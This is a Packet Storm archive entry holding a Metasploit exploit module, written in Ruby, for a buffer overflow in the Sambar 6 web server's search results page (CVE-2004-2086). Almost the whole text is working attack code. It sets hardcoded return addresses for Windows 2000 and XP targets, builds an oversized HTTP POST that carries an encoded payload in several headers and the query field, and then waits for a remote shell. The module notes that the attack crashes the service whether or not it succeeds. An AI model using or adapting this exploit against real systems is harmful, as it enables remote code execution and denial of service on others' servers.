Sambar 6 Search Results Buffer Overflow

2010-02-15T00:00:00
ID PACKETSTORM:86296
Type packetstorm
Reporter H D Moore
Modified 2010-02-15T00:00:00

Description

                                        
                                            `##  
# $Id: sambar6_search_results.rb 8480 2010-02-13 20:15:19Z patrickw $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sambar 6 Search Results Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow found in the  
/search/results.stm application that comes with Sambar 6.  
This code is a direct port of Andrew Griffiths's SMUDGE  
exploit, the only changes made were to the nops and payload.  
This exploit causes the service to die, whether you provided  
the correct target or not.  
},  
'Author' => [  
'hdm',  
'Andrew Griffiths <andrewg [at] felinemenace.org>',  
'patrick', # msf3 port  
],  
'Arch' => [ ARCH_X86 ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 8480 $',  
'References' =>  
[  
[ 'CVE', '2004-2086' ],  
[ 'OSVDB', '5786' ],  
[ 'BID', '9607' ],  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 2000, # unlimited  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
# patrick tested OK 20100214 xpsp0  
['Windows 2000', { 'jmpESP' => 0x74fdee63, 'Ret' => 0x773368f4 } ],  
['Windows XP', { 'jmpESP' => 0x77da78ff, 'Ret' => 0x77e631ea } ], # user32.dll jmp esp; kernel32.dll retn  
  
],  
'DisclosureDate' => 'Jun 21 2003'))  
  
register_options(  
[  
Opt::RPORT(80),  
],self.class)  
end  
  
def check  
connect  
sock.put("GET / HTTP/1.0\r\n\r\n")  
banner = sock.get_once  
disconnect  
  
if (banner =~ /Server:\sSAMBAR/)  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
buff = "POST /search/results.stm HTTP/1.1\r\n"  
buff << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"  
buff << "User-Agent: #{payload.encoded}\r\n"  
buff << "Accept: #{payload.encoded}\r\n"  
buff << "Accept-Encoding: #{payload.encoded}\r\n"  
buff << "Accept-Language: #{payload.encoded}\r\n"  
buff << "Accept-Ranges: #{payload.encoded}\r\n"  
buff << "Referrer: #{payload.encoded}\r\n"  
buff << "Connection: Keep-Alive\r\n"  
buff <<"Pragma: no-cache\r\n"  
buff << "Content-Type: #{payload.encoded}\r\n"  
  
# we use \xfc (cld) as nop, this code goes through tolower() and must be 0xc0->0xff  
# int3's DO NOT WORK because it triggers an exception and causes the server to exit  
jmpcode = "\xfc" + "h" + [target['Ret']].pack('V') + "\xfc\xfc\xfc" + "\xc2\x34\xd1"  
bigbuff = jmpcode + ("X" * (128 - jmpcode.length)) + [target['jmpESP']].pack('V') +[target['jmpESP']].pack('V') + jmpcode  
content = "style=page&spage=0&indexname=docs&query=#{bigbuff}"  
buff << "Content-Length: #{content.length}\r\n\r\n" + content  
  
print_status("Sending #{buff.length} bytes to remote host.")  
sock.put(buff)  
res = sock.get_once  
if (!res)  
print_status("Didn't get response, hoping for shell anyway...")  
else  
print_status("Got Response!")  
end  
  
handler  
disconnect  
end  
end  
`